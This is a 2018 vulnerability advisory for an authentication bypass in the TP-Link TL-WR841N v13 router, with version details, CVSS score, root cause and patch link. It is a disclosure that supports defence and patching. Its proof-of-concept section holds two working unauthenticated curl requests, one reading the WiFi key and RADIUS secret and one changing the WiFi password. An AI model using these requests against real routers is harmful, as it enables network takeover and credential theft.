TP-Link TL-WR841N V13 Insecure Direct Object Reference

` * Vulnerability: Broken Authentication  
* Affected Software: TP-Link TL-WR841N v13  
* Affected Version: 0.9.1 4.16 v0001.0 Build 171019 Rel.55346n  
* Patched Version: 0.9.1 4.16 v0001.0 Build 180119 Rel.65243n  
* Risk: High  
* Vendor Contacted: 05/20/2018  
* Vendor Fix: Issue was independently fixed in previous version  
* Public Disclosure: 06/27/2018  
  
##### Overview  
  
An attacker that can send HTTP requests to the router can bypass the  
authentication mechanism of the web interface and thus perform arbitrary  
actions.  
  
##### CVSS  
  
High 8.8 CVSS:3.0/AV:A/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H  
  
##### Details  
  
An unauthenticated attacker can send arbitrary requests to CGI scripts,  
which allows them to perform all actions an authenticated user could  
perform, as well as read out all information that an authenticated user  
can read out. With default configuration, the attacker has to be in the  
same local network as the router.  
  
The issue exists because while the frontend of the web interface has a  
basic authentication mechanism, requests to the CGI scripts fail to  
validate the authentication cookie.  
  
##### POC  
  
Read out Wifi password:  
  
curl -i -s -k -X $'POST' -H $'Host: 192.168.0.1' -H $'Referer:  
http://192.168.0.1/' -H $'Content-Type: text/plain' -H $'Content-Length:  
404' -H $'Connection: close' --data-binary  
$'[LAN_WLAN#0,0,0,0,0,0#0,0,0,0,0,0]0,19\x0d\x0aname\x0d\x0aSSID\x0d\x0aEnable\x0d\x0aX_TP_Configuration_Modified\x0d\x0abeaconType\x0d\x0aStandard\x0d\x0aWEPEncryptionLevel\x0d\x0aWEPKeyIndex\x0d\x0aBasicEncryptionModes\x0d\x0aBasicAuthenticationMode\x0d\x0aWPAEncryptionModes\x0d\x0aWPAAuthenticationMode\x0d\x0aIEEE11iEncryptionModes\x0d\x0aIEEE11iAuthenticationMode\x0d\x0aX_TP_PreSharedKey\x0d\x0aX_TP_GroupKeyUpdateInterval\x0d\x0aX_TP_RadiusServerIP\x0d\x0aX_TP_RadiusServerPort\x0d\x0aX_TP_RadiusServerPassword\x0d\x0a'  
$'http://192.168.0.1/cgi?5'  
  
Change Wifi password:  
  
curl -i -s -k -X $'POST' -H $'Host: 192.168.0.1' -H $'Referer:  
http://192.168.0.1/mainFrame.htm' -H $'Content-Length: 197' -H  
$'Connection: close' --data-binary  
$'[LAN_WLAN#1,1,0,0,0,0#0,0,0,0,0,0]0,5\x0d\x0aBeaconType=11i\x0d\x0aIEEE11iAuthenticationMode=PSKAuthentication\x0d\x0aIEEE11iEncryptionModes=AESEncryption\x0d\x0aX_TP_PreSharedKey=12345678\x0d\x0aX_TP_GroupKeyUpdateInterval=0\x0d\x0a'  
$'http://192.168.0.1/cgi?2'  
  
##### Solution  
  
The issue was already fixed independently of this report in the newest  
version of the firmware:  
  
TL-WR841N(EU)_V13_180119:  
https://www.tp-link.com/uk/download/TL-WR841N.html#Firmware  
  
--   
PGP Key: https://pgp.mit.edu/pks/lookup?op=get&search=0xFD8E2B9091A24C75  
`